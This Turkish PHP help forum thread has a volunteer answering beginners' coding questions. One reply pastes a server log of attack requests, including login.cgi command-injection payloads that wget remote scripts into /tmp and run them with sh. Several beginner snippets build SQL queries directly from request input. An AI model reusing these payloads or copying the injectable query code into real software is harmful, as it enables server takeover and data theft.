Şimdi Ara

PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ

Daha Fazla
Bu Konudaki Kullanıcılar: Daha Az
1 Misafir - 1 Masaüstü
5 sn
31
Cevap
0
Favori
1.852
Tıklama
Daha Fazla
İstatistik
  • Konu İstatistikleri Yükleniyor
1 oy
Öne Çıkar
Sayfa: 12
Sayfaya Git
Git
sonraki
Giriş
Mesaj
  • Merhaba

    Bu ay olabildiğince müsaitim, açılan konulara baktım epey tarihler geri kalmış bir çoğu ya çözülmüştür yada halen yanıtlanmamış olabilir.
    O yüzden tek başlık altında yardımcı olmaya çalışacağım.

    Saygılar



  • quote:

    Orijinalden alıntı: Therdy

    Bu mesaj silindi.
    hangi yazılımdan bahsediyorsun wordpress mi ?
  • merhaba
    daha önce burda bir topic açmış idim

    2 sayfalık bir örnek çalışmaya ihtiyacım var. fatura ekranı.
    1. sayfada yeni fatura listesi olacak. ve ekle/düzelt/sil butonları ile.
    bunlardan ekle/düzelt dediğimde ise 2. sayfaya gidip ya yanei stok kodları ekleyip, yada var olanları silip yenisini ekleyeceğim basit bir fatura oluşturma ekranına ihtiyacım var

    misal. satıra elle elma yazacağım. yan kutuya 2 adet, fiyatı 3 lira ve en sağa kdv si ni elle yazıp satır toplamı otomatik olacak.
    satır ekle ile devam edecek işlem. bu arada en alt sağda ise genel toplam şeklinde

    yerli kaynak maalesef bulamadım. örnek kendim içine combo vs ekleyip kdv sini tablodan alabileceğim.
    yabancı bir kaynak buldum. bootstrap ile yapmış.. acemi biri için çok gereksiz.

    kendimi çok geliştiremedim maalesef. günlük iş yerinde işler vs

    mysql veya pdo farketmez.. süsleme vs istemiyorum. maksadım kendimi geliştirmek

    bu konuda yardımcı olman mümkün mü ?




  • Merhaba,
    Wordpress de bir Custom Post Type kodladım içerisine özel alan'da ekledim ancak eklediğim özel alana girdiğim değeri sayfama çekemiyorum. Yardımcı olursanız sevinirim.
    Not: Önceki sorunumu çözdüm.



    < Bu mesaj bu kişi tarafından değiştirildi Therdy -- 16 Ağustos 2018; 18:15:48 >
  • merhaba hocam eğer müsait olursanız yardım ederseniz çok sevinirim

    benim sorum php değil ama hmtl ile ilgili umarım yardımcı olabilirsiniz

    hocam 2 adet tablo oluşturdum üstteki tablodan alltaki tabloya link nasıl vereceğim konusunda yardım edebilirmisiniz

    yani üstteki tabloda projeler adlı bir buton var butona tıklayınca sayfa değişmeden projeler alttaki tabloda gözükecek
  • Diğer sorunumu çözdüm teşekkür ederim.
    Bir site yapıyorum responsive özelliğini yazılar küçültülen yere geliyor.Ancak resim ve buton kaymıyor.
    Html:
    <?php include 'header.php'; ?> 
    <nav>
    <a data-test="test" rel="nofollow" style="word-wrap: break-word; text-decoration: underline;" target="_blank" onclick="return dhExternalLinkRedirect(this)" href="/ExternalLinkRedirect?module=pgdcode&messageId=134668355&url=action.php" data-href="action.php">Sign İn</a>
    </nav>
    </header>
    </section>

    <img id="banner" src="http://i.hizliresim.com/LD00Vz.png" >
    <center>



    <p style="font-size: 10vw" ><font size="6" color="#403b3b">
    <b>Hoşgeldin</b></font></p>
    <br>
    <p style="font-size: 10vw; " ><font size="4" color="#333" >
    <b>İçeride Neler var neler<br> Görmek istiyoran tıkla ve devam <br> et. </center></b></font></p>


    <a class="buttons" href="planform.php"><p></p><font face="arial" size="5" color="white">
    <center><b>Gör </b></center></font></p> </a>



    </center>

    </div>

    Css:
    .sign { 
    font-style: bold;
    text-decoration: none;
    color: black;
    font-weight: 400;
    padding: 13px 30px;


    font-size: 20;
    }
    .buttons {

    background-color: #e50914;
    text-decoration: none;
    color: #FFF;
    font-weight: 30;
    padding: 10px 10px;
    border-radius: 3px;
    width: 400px;
    height: 30px;
    margin: auto;
    position: absolute;
    top: 400; right: 400; bottom: 0; left: 400;;
    font-size: 20;
    }
    #banner {

    width: 80px;
    height:80px;

    font-size: 10vw;



    margin-left:640;
    margin-top:190;
    }

    Teşekkürler




  • Therdy T kullanıcısına yanıt
    Merhaba

    Responsive olacak sayfayı görsel olarak atar mısınız.
  • PHP'de kolay yoldan güvenli site yapmak mümkün müdür?
    Mümkünse nelere dikkat etmek lazım?
    Deneme amaçlı site açtım,şu an hiç kullanıcısı yok ama siteye sürekli sitenin PHP tabanlı olduğunu varsayan saldırılar geliyor. "setup.php" dosyasına falan erişmeye çalışıyorlar.
  • tatankalahari T kullanıcısına yanıt
    Merhaba

    Genelde her projemde yaparım,
    Siteyi belli bir süre şu şekilde takip etmenizi öneriyorum.

    Bir tablonuz olsun,

    guest
    id
    request_uri
    http_referer
    user_agent
    ip_address
    data *mediumtext
    date *datetime


     
    <?php
    // ...
    // mysqli bağlantısı sonrasına
    $stmt = $db->prepare("INSERT INTO guest(request_uri, http_referer, ip_address, user_agent, data, date) VALUES (?, ?, ?, ?, ?, ?)");
    $stmt->bind_param('ssssss', $request_uri, $http_referer, $ip_address, $user_agent, $data, $date);
    $request_uri = $_SERVER['REQUEST_URI'];
    $http_referer = (isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : NULL);
    $ip_address = $_SERVER['REMOTE_ADDR'];
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $data = json_encode(array('POST' => $_POST, 'GET' => $_GET));
    $date = date('Y-m-d H:i:s');
    $stmt->execute();


    Bu tabloda biraz kayıtlar biriksin, klasik örümcekler mi yoksa basit sql injection çalışmaları mı vs çok rahat anlayabilirsiniz.

    SQL Injection, XSS açıkları vs gibi forumda çok sayıda hali hazırda fonksiyonlarda mevcut

    Saygılarımla




  • merhaba ScorpionCoders rica etsem soyle bir sorunum var mumkunse bilgini paylasmani rica ediyorum link verdim.





    index sayfasında div icinde diğer sayfaları açmak
  • ScorpionCoders kullanıcısına yanıt
    Benzer birşeyi ben de yaptım ve siteye gelen istekler beni php'nin güvenliği konusunda şüpheye düşürdü. Siteyi php'de programlamadım ama servera gelen isteklerden bazıları şunlar:

    IP İstek Tarih ve Saat

    ::ffff:185.143.223.106 /HNAP1/ 2018-09-02T04:30:32.265Z
    ::ffff:37.53.71.1 /login.cgi?cli=aa%20aa%27;wget%20http://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ 2018-09-02T02:13:37.053Z
    ::ffff:104.238.183.39 /preview.php 2018-09-01T18:03:29.033Z
    ::ffff:5.8.54.27 /?XDEBUG_SESSION_START=phpstorm 2018-09-01T17:26:07.104Z
    ::ffff:5.188.210.12http://5.188.210.12/echo.php 2018-09-01T08:59:49.518Z
    ::ffff:42.117.109.230 /login.cgi?cli=aa%20aa%27;wget%20http://77.87.77.250/izuku.sh%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ 2018-09-01T11:16:23.783Z
    ::ffff:186.58.123.227 /GponForm/diag_Form?images/ 2018-08-31T07:05:46.037Z
    ::ffff:183.131.83.112 /manager/html 2018-08-31T07:19:20.695Z
    ::ffff:125.65.112.8 /search/www.ymwears.cn 2018-08-30T05:48:48.243Z
    ::ffff:27.137.1.29 /login.cgi?cli=aa%20aa%27;wget%20http://212.237.32.62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ 2018-08-31T07:54:49.907Z
    ::ffff:5.255.250.168 /SdKeZ/ 2018-08-31T00:17:45.251Z
    ::ffff:180.97.106.39http://180.163.113.82/check_proxy 2018-08-29T18:15:12.586Z
    ::ffff:124.236.175.106 /fdsrwe 2018-08-28T09:56:22.822Z




  • Merhaba emeğiniz için teşekkürler,

    Mysql veritabanından php ile ürün çekiyorum, çalışma şekli;

    ürün tablosunda ürünler kısmı yer alıyor
    resim tablosunda ürün id ekleyerek ürüne resim bağlanıyor.

    Fakat ürün tablosuna bağlı resim tablosunda her hangi bir kayıt yoksa; "bos.jpg" dosyasını php de ayarlayamıyorum, çözüm öneriniz ne olur ?

    if empty vb. çok denedim ama nafile
  • Merhaba

    Eğer yanlış anlamadıysam, tablodaki örneğin image

    VARCHAR 255, VE NULL seçeneği işaretli olsun.

    <img src="<?php echo (is_null($row->image) ? 'bos.jpg' : $row->image); ?>" />

    Bir diğer alternatif iste,

    image fieldine veritabanında default değerini "bos.jpg" olarak yapın. kayıt ilk oluşturulduğunda bos.jpg şeklinde değer yazılsın.
  • Selamlar değerli arkadaşlar programlamaya yeni başladım ve aşağıdaki sorunla karşılaştım, yardımlarınızı bekliyorum.

    Sorun: Oluşturduğum php kodlarında TC No içinde geçen herhangi bir rakamı text box a (input) girdiğimde tek rakamın tuttuğu tüm kayıtları getiriyor, ben istiyorum ki kişi tc numarasını tam girsin ve doğruysa ilgili kişinin adı soyadı, tc si cinsiyeti ve karne numarasının gelmesini istiyorum.

    Detaylar:
    phpmyadmin üzerinde bir db oluşturdum. aşağıdaki kodlarda bu dbadi diye yazdım


    DB üzerinde oluşturulan Tablo adı

    tblkullanici


    Tabloda bulunan sütunların isimleri

    tcno, adisoyadi, cinsiyeti, karneno,

    bu tablo içinde 4 tane sütun oluşturdum (sütun sayısını daha sonra arttırabilirim.)


    Yaptığım uygulamaya ait kodlar aşağıdaki gibidir.

     

    <?php

    mysql_connect("localhost","dbkullanici","password","dbadi") or die ("Bağlantı Başarısız");

    mysql_select_db("sertifika") or die ("Bağlantı Başarısız");

    $output = ' ';

    //collect

    if(isset($_POST['search'])){

    $searchq = $_POST['search'];

    $searchq = preg_replace ("#[^0-9 a-z]#i", "", $searchq);

    $query = mysql_query("SELECT * FROM tblkullanici WHERE tcno LIKE '%$searchq%'") or die ("Arama Yapılamadı");

    $count = mysql_num_rows ($query);

    if ($count == 0) {

    $output = 'Aranan Kriterde Kayıt Bulunamadı';

    } else{

    while ($row= mysql_fetch_array($query)){

    $tno = $row['tcno'];

    $adi = $row['adisoyadi'];



    $output .= '<div>'.$tno.' '.$adi.'</div>';

    }

    }



    }

    ?>



    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

    <html xmlns="http://www.w3.org/1999/xhtml">

    <head>

    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

    <title>Untitled Document</title>

    </head>

    <body>

    <form action="index.php" method="post"/>

    <input type="text" name="search" placeholder="Tc Kimlik No Yazınız..."/>

    <input type="submit" value=">>"/>

    </form>

    <?php print ("$output");



    ?>

    </body>

    </html>




  • ScorpionCoders kullanıcısına yanıt
    Hocam çalışma şekliyle ilgili biraz detaya inim. örnek tablo;

    Ürün için tablo "urun"
    ID______Ürün Adı
    1-------ABC
    2-------SQL
    3-------APL


    Resim İçin tablo "resim"
    ID_____resim_________urun_id
    1------abc.jpg-------1
    2------sql.jpg-------2
    3------sql2.jpg------2
    4------abc2.jpg------1




    Mesela 3. APL ürününde resim tablosunda urun_id e bağlı her hangi bir değer yok. Olmadığı için bos.jpg getiremiyor.


    Mevcut php kodu da bu şekilde


    $urunler = $db->sorgu("SELECT * FROM urun WHERE kategori_id='$_GET[id]' or marka_id='$_GET[id]' ORDER BY `sira` ASC");
    if($db->say($urunler) < 1) {
    echo'<p>Kayıtlı ürün bulunmamaktadır.</p>';
    } else {
    while ($oku = $db->cek($urunler)) {
    echo'<div>';
    $resimsorgu = $db->sorgu("SELECT * FROM dosya WHERE urun_id = '".$oku[id]."' ORDER BY id limit 1");
    while ($adresoku = $db->cek($resimsorgu)){
    $uyesor = mysql_query("SELECT * FROM dosya where urun_id='".$oku[id]."'");
    $sorgu_sayisi = mysql_num_rows($uyesor);
    if (!empty($oku[id]==$adresoku[urun_id])) {
    echo'<h5><a data-test="test" rel="nofollow" style="word-wrap: break-word; text-decoration: underline;" target="_blank" onclick="return dhExternalLinkRedirect(this)" href="/ExternalLinkRedirect?module=pgdcode&messageId=134882981&url=urunler?duzenle='.$oku[id].'" data-href="urunler?duzenle='.$oku[id].'"><img src="/images/'.$adresoku[resim].'" height="185" width="185" class="img-responsive"></a></h5>';
    }
    else {
    echo'<a data-test="test" rel="nofollow" style="word-wrap: break-word; text-decoration: underline;" target="_blank" onclick="return dhExternalLinkRedirect(this)" href="/ExternalLinkRedirect?module=pgdcode&messageId=134882981&url=urunler?duzenle='.$oku[id].'" data-href="urunler?duzenle='.$oku[id].'"><img src="/images/bos.jpg" class="img-responsive" width="130" height="130"></a>';
    }
    }



    < Bu mesaj bu kişi tarafından değiştirildi armax -- 7 Eylül 2018; 17:52:27 >




  • Şunu dener misiniz


    if (isset($_REQUEST['id'])) {
    $stmt = $db->prepare("SELECT id, (SELECT resim FROM dosya WHERE urun_id = urun.id LIMIT 1) AS resim FROM urun WHERE (kategori_id = ? OR marka_id = ?) ORDER BY sira ASC");
    $stmt->bind_param('ii', $categoryId, $brandId);
    $categoryId = (int) $_GET['id'];
    $brandId = (int) $_GET['id'];
    $stmt->execute();
    $result = $stmt->get_result();
    if ($result) {
    while ($row = $result->fetch_object()) {
    echo '<a onclick="return dhExternalLinkRedirect(this)" href="/ExternalLinkRedirect?url=urunler?duzenle=' . $row->id . '" data-href="urunler?duzenle=' . $row->id . '" >';
    echo '<img src="/images/' . ($row->resim ? $row->resim : 'bos.jpg') . '" class="img-responsive" width="130" height="130">';
    echo '</a>';
    }
    } else {
    echo '<p>Kayıtlı ürün bulunmamaktadır.</p>';
    }
    }



    < Bu mesaj bu kişi tarafından değiştirildi ScorpionCoders -- 7 Eylül 2018; 19:58:55 >




  • ScorpionCoders kullanıcısına yanıt
    hocam yapamadım maalesef

    Fatal error: Call to undefined method db::prepare()

    hatasını aşamadım. böyle düzenledim ama;
     
    if (isset($_REQUEST['id'])) {
    $stmt = $db->prepare("SELECT id, (SELECT * FROM dosya WHERE urun_id = '$_GET[id]' LIMIT 1) AS * FROM urun WHERE (kategori_id = '$_GET[id]' OR marka_id = '$_GET[id]') ORDER BY sira ASC");
    $stmt->bind_param('ii', $categoryId, $brandId);
    $categoryId = (int) $_GET['id'];
    $brandId = (int) $_GET['id'];
    $stmt->execute();
    $result = $stmt->get_result();
    if ($result) {
    while ($row = $result->fetch_object()) {
    echo '<a href="urunler?duzenle=' . $row->id . '" data-href="urunler?duzenle=' . $row->id . '" >';
    echo '<img src="/images/' . ($row->dosya ? $row->dosya : 'bos.jpg') . '" class="img-responsive" width="130" height="130">';
    echo '</a>';
    }
    } else {
    echo '<p>Kayıtlı ürün bulunmamaktadır.</p>';
    }
    }




  • Şöyle değiştirelim.

    if (isset($_REQUEST['id'])) { 
    $categoryId = (int) $_GET['id'];
    $brandId = (int) $_GET['id'];
    $query = $db->query("SELECT id, (SELECT dosya FROM dosya WHERE urun_id = urun.id LIMIT 1) AS dosya FROM urun WHERE (kategori_id = {$categoryId} OR marka_id = {$brandId}) ORDER BY sira ASC");
    if ($query->num_rows > 0) {
    while ($row = $query->fetch_object()) {
    echo '<a onclick="return dhExternalLinkRedirect(this)" href="/ExternalLinkRedirect?url=urunler?duzenle=' . $row->id . '" data-href="urunler?duzenle=' . $row->id . '" >';
    echo '<img src="/images/' . ($row->dosya ? $row->dosya : 'bos.jpg') . '" class="img-responsive" width="130" height="130">';
    echo '</a>';
    }
    } else {
    echo '<p>Kayıtlı ürün bulunmamaktadır.</p>';
    }
    }




  • Merhabalar.Xampp'ta Apache server ve MySQL'i açıyorum.Apache serverda sıkıntı yok.Fakat localhost/phpmyadmin veya xampp üzerinden admin butonuna tıkladığımda veritabanına erişemiyorum.Ne yapmam lazım?

    < Bu ileti mobil sürüm kullanılarak atıldı >
  • 
Sayfa: 12
Sayfaya Git
Git
sonraki
- x
Bildirim
mesajınız kopyalandı (ctrl+v) yapıştırmak istediğiniz yere yapıştırabilirsiniz.